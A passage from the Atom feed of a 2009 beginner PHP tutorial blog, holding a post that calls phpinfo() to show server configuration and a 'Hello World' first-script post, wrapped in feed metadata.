href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3122223328271594448'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/3122223328271594448'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/08/checklist-before-using-old-php-code.html' title='Checklist before Using Old PHP Code with new version of PHP.'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-8582483391401255208</id><published>2009-05-08T02:44:00.000-07:00</published><updated>2009-05-08T04:41:39.714-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='php info tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='system info by php'/><category scheme='http://www.blogger.com/atom/ns#' term='php script'/><title type='text'>PHP Tutorial for getting system Information</title><content type='html'>Hello All,&lt;br /&gt;&lt;br /&gt;Now that you have successfully created a working PHP script, it is time to create the most famous PHP script! Make a call to the phpinfo() function and you will see a lot of useful information about your system and setup such as available predefined variables, loaded PHP modules, and configuration settings. Take some time and review this important information. &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Get system information from PHP&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;span  style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;phpinfo&lt;/span&gt;&lt;span  style="color: #007700"&gt;();&amp;nbsp;&lt;/span&gt;&lt;span  style="color: #0000BB"&gt;?&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-8582483391401255208?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/8582483391401255208/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/05/php-tutorial-for-getting-system.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/8582483391401255208'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/8582483391401255208'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/05/php-tutorial-for-getting-system.html' title='PHP Tutorial for getting system Information'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2312474754458838108.post-2373034867679653879</id><published>2009-05-07T22:45:00.000-07:00</published><updated>2009-05-08T01:52:59.772-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='first php tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='first php script'/><category scheme='http://www.blogger.com/atom/ns#' term='get start with php'/><title type='text'>Your First PHP tutorial</title><content type='html'>Create a file named first_tutorial.php and put it in your web server's root directory (DOCUMENT_ROOT) with the following content:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Our first PHP script: first_tutorial.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span  style="color: #0000BB"&gt;&amp;lt;?php&amp;nbsp;&lt;/span&gt;&lt;span  style="color: #007700"&gt;echo&amp;nbsp;&lt;/span&gt;&lt;span  style="color: #DD0000"&gt;'&amp;lt;p&amp;gt;Hello&amp;nbsp;World&amp;lt;/p&amp;gt;'&lt;/span&gt;&lt;span  style="color: #007700"&gt;;&amp;nbsp;&lt;/span&gt;&lt;span  style="color: #0000BB"&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;Use your browser to access the file with your web server's URL, ending with the "/first_tutorial.php" file reference. When developing locally this URL will be something like http://localhost/first_tutorial.php or http://127.0.0.1/first_tutorial.php but this depends on the web server's configuration. If everything is configured correctly, this file will be parsed by PHP and the following output will be sent to your browser:&lt;br /&gt;&lt;br /&gt;Enjoy!!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2312474754458838108-2373034867679653879?l=phptutorialsonline.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://phptutorialsonline.blogspot.com/feeds/2373034867679653879/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/05/your-first-php-tutorial.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/2373034867679653879'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2312474754458838108/posts/default/2373034867679653879'/><link rel='alternate' type='text/html' href='http://phptutorialsonline.blogspot.com/2009/05/your-first-php-tutorial.html' title='Your First PHP tutorial'/><author><name>GB</name><uri>http://www.blogger.com/profile/01762406222561023052</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
